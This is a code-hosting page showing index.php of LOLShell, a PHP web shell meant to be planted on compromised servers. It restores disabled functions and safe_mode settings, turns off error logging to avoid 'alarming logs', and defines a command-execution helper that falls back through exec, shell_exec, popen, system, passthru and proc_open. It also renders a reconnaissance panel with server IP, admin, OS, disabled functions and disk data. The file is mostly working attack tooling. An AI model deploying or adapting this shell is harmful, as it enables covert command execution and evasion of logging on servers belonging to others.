PageRenderTime 55ms CodeModel.GetById 26ms RepoModel.GetById 0ms app.codeStats 0ms

/index.php

https://github.com/Mrrock/LOLShell
PHP | 279 lines | 228 code | 23 blank | 28 comment | 29 complexity | 1ed7a6370985eb51c635171de16a425b MD5 | raw file
  1. <?php
  2. /* LOLShell - Created by Contra, contra@australia.edu */
  3. /* Insane amount of credit to Ani-Shell and Cyber Anarchy shell where most of the PHP code is from */
  4. $appVersion = 0.01;
  5. //Let's initialize a few things for the app, shall we?
  6. error_reporting(E_ALL);
  7. ini_restore("safe_mode_include_dir");
  8. ini_restore("safe_mode_exec_dir");
  9. ini_restore("disable_functions");
  10. ini_restore("allow_url_fopen");
  11. ini_restore("safe_mode");
  12. ini_restore("open_basedir");
  13. if (function_exists('ini_set')) {
  14. ini_set('max_execution_time', 0);
  15. // No alarming logs
  16. ini_set('error_log', null);
  17. // No logging of errors
  18. ini_set('log_errors', 0);
  19. // Enable file uploads
  20. ini_set('file_uploads', 1);
  21. // allow url fopen
  22. ini_set('allow_url_fopen', 1);
  23. } else {
  24. ini_alter('max_execution_time', 0);
  25. ini_alter('error_log', null);
  26. ini_alter('log_errors', 0);
  27. ini_alter('file_uploads', 1);
  28. ini_alter('allow_url_fopen', 1);
  29. }
  30. $phpVersion = phpversion();
  31. // Where the fuck am I?
  32. $self = $_SERVER["PHP_SELF"];
  33. $sm = @ini_get('safe_mode');
  34. // Default Directory separator
  35. $SEPARATOR = "/";
  36. $os = "Unknown";
  37. if (stristr(php_uname(), "Windows")) {
  38. $SEPARATOR = "\\";
  39. $os = "Windows";
  40. } elseif (stristr(php_uname(), "Linux")) {
  41. $os = "Linux";
  42. }
  43. function HumanReadableFilesize($size)
  44. {
  45. $mod = 1024;
  46. $units = explode(' ', 'B KB MB GB TB PB');
  47. for ($i = 0; $size > $mod; $i++) {
  48. $size /= $mod;
  49. }
  50. return round($size, 2) . ' ' . $units[$i];
  51. }
  52. function getClientIp()
  53. {
  54. return $_SERVER['REMOTE_ADDR'];
  55. }
  56. function getServerIp()
  57. {
  58. return getenv('SERVER_ADDR');
  59. }
  60. function diskSpace()
  61. {
  62. return HumanReadableFilesize(disk_total_space("/"));
  63. }
  64. function freeSpace()
  65. {
  66. return HumanReadableFilesize(disk_free_space("/"));
  67. }
  68. function getShellPerms()
  69. {
  70. return getFilePermissions(__FILE__);
  71. }
  72. function getDisabledFunctions()
  73. {
  74. if (!ini_get('disable_functions')) {
  75. return "<font color='green'>None</font>";
  76. } else {
  77. return @ini_get('disable_functions');
  78. }
  79. }
  80. function getFilePermissions($file)
  81. {
  82. $perms = fileperms($file);
  83. if (($perms & 0xC000) == 0xC000) {
  84. // Socket
  85. $info = 's';
  86. } elseif (($perms & 0xA000) == 0xA000) {
  87. // Symbolic Link
  88. $info = 'l';
  89. } elseif (($perms & 0x8000) == 0x8000) {
  90. // Regular
  91. $info = '-';
  92. } elseif (($perms & 0x6000) == 0x6000) {
  93. // Block special
  94. $info = 'b';
  95. } elseif (($perms & 0x4000) == 0x4000) {
  96. // Directory
  97. $info = 'd';
  98. } elseif (($perms & 0x2000) == 0x2000) {
  99. // Character special
  100. $info = 'c';
  101. } elseif (($perms & 0x1000) == 0x1000) {
  102. // FIFO pipe
  103. $info = 'p';
  104. } else {
  105. // Unknown
  106. $info = 'u';
  107. }
  108. // Owner
  109. $info .= (($perms & 0x0100) ? 'r' : '-');
  110. $info .= (($perms & 0x0080) ? 'w' : '-');
  111. $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
  112. // Group
  113. $info .= (($perms & 0x0020) ? 'r' : '-');
  114. $info .= (($perms & 0x0010) ? 'w' : '-');
  115. $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
  116. // World
  117. $info .= (($perms & 0x0004) ? 'r' : '-');
  118. $info .= (($perms & 0x0002) ? 'w' : '-');
  119. $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
  120. return $info;
  121. }
  122. function exec_all($command)
  123. {
  124. $output = '';
  125. if (function_exists('exec')) {
  126. exec($command, $output);
  127. $output = join("\n", $output);
  128. } elseif (function_exists('shell_exec')) {
  129. $output = shell_exec($command);
  130. } elseif (function_exists('popen')) {
  131. // Open the command pipe for reading
  132. $handle = popen($command, "r");
  133. if (is_resource($handle)) {
  134. if (function_exists('fread') && function_exists('feof')) {
  135. while (!feof($handle)) {
  136. $output .= fread($handle, 512);
  137. }
  138. } elseif (function_exists('fgets') && function_exists('feof')) {
  139. while (!feof($handle)) {
  140. $output .= fgets($handle, 512);
  141. }
  142. }
  143. }
  144. pclose($handle);
  145. } elseif (function_exists('system')) {
  146. //start output buffering
  147. ob_start();
  148. system($command);
  149. // Get the ouput
  150. $output = ob_get_contents();
  151. // Stop output buffering
  152. ob_end_clean();
  153. } elseif (function_exists('passthru')) {
  154. //start output buffering
  155. ob_start();
  156. passthru($command);
  157. // Get the ouput
  158. $output = ob_get_contents();
  159. // Stop output buffering
  160. ob_end_clean();
  161. } elseif (function_exists('proc_open')) {
  162. $descriptorspec = array(1 => array("pipe", "w"),); // stdout is a pipe that the child will write to);
  163. // This will return the output to an array 'pipes'
  164. $handle = proc_open($command, $descriptorspec, $pipes);
  165. if (is_resource($handle)) {
  166. if (function_exists('fread') && function_exists('feof')) {
  167. while (!feof($pipes[1])) {
  168. $output .= fread($pipes[1], 512);
  169. }
  170. } elseif (function_exists('fgets') && function_exists('feof')) {
  171. while (!feof($pipes[1])) {
  172. $output .= fgets($pipes[1], 512);
  173. }
  174. }
  175. }
  176. pclose($handle);
  177. } else {
  178. $output = "Server has security.";
  179. }
  180. return(htmlspecialchars($output));
  181. }
  182. ?>
  183. <html>
  184. <head>
  185. <meta charset="utf-8">
  186. <title>LOLShell <?=$appVersion?></title>
  187. <meta name="description" content="LOLShell <?=$appVersion?> by Contra">
  188. <meta name="author" content="Contra">
  189. <link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.14/themes/dark-hive/jquery-ui.css">
  190. <script src="http://cdnjs.cloudflare.com/ajax/libs/modernizr/2.0.6/modernizr.min.js"></script>
  191. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
  192. <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.14/jquery-ui.min.js"></script>
  193. <script type="text/javascript">
  194. $(document).ready(function() {
  195. $("#info-accordion").accordion({ collapsible: true });
  196. $("#mysql-accordion").accordion({ collapsible: true });
  197. $("#navtabs").tabs();
  198. });
  199. </script>
  200. </head>
  201. <body bgcolor="black">
  202. <div id="navtabs">
  203. <ul>
  204. <li><a href="#sysinfo"><span>System Information</span></a></li>
  205. <li><a href="#filebrowser"><span>File System</span></a></li>
  206. <li><a href="#mysql"><span>MySQL</span></a></li>
  207. </ul>
  208. <div id="sysinfo">
  209. <div id="info-accordion">
  210. <h3><a href="#">General</a></h3>
  211. <div>
  212. LOLShell Version: <?php echo $appVersion;?><br/>
  213. Working Directory: <?php echo getcwd();?><br/>
  214. Shell Permissions: <?php echo getShellPerms();?><br/>
  215. Your IP: <?php echo getClientIp();?>
  216. </div>
  217. <h3><a href="#">PHP</a></h3>
  218. <div>
  219. Version: <?php echo $phpVersion;?><br/>
  220. Safe Mode: <?php echo $sm ? ("<font color='red'>Enabled</font>") : ("<font color='green'>Disabled</font>");?><br/>
  221. Curl: <?php echo function_exists('curl_version') ? ("<font color='green'>Enabled</font>") : ("<font color='red'>Disabled</font>");?></li><br/>
  222. Oracle: <?php echo function_exists('ocilogon') ? ("<font color='green'>Enabled</font>") : ("<font color='red'>Disabled</font>");?><br/>
  223. MySQL: <?php echo function_exists('mysql_connect') ? ("<font color='green'>Enabled</font>") : ("<font color='red'>Disabled</font>");?><br/>
  224. MSSQL: <?php echo function_exists('mssql_connect') ? ("<font color='green'>Enabled</font>") : ("<font color='red'>Disabled</font>");?><br/>
  225. PostgreSQL: <?php echo function_exists('pg_connect') ? ("<font color='green'>Enabled</font>") : ("<font color='red'>Disabled</font>");?><br/>
  226. Disabled functions: <?php echo getDisabledFunctions();?><br/>
  227. </div>
  228. <h3><a href="#">Server</a></h3>
  229. <div>
  230. Server IP: <?php echo getServerIp();?><br/>
  231. Server Admin: <?php echo $_SERVER['SERVER_ADMIN'];?><br/>
  232. Operating System: <?php echo php_uname();?><br/>
  233. </div>
  234. <h3><a href="#">Disk</a></h3>
  235. <div>
  236. Total Space: <?php echo diskSpace();?><br/>
  237. Free Space: <?php echo freeSpace();?><br/>
  238. </div>
  239. </div>
  240. </div>
  241. <div id="filebrowser">
  242. <center><iframe src="browse.php" height="60%" width="90%" frameBorder="0"></iframe></center>
  243. </div>
  244. <div id="mysql">
  245. <div id="mysql-accordion">
  246. <h3><a href="#">Browse</a></h3>
  247. <div>MySQL Browser here</div>
  248. <h3><a href="#">Dump</a></h3>
  249. <div>MySQL Dumper here</div>
  250. <h3><a href="#">Query</a></h3>
  251. <div>MySQL Query here</div>
  252. </div>
  253. </div>
  254. </div>
  255. </body>
  256. </html>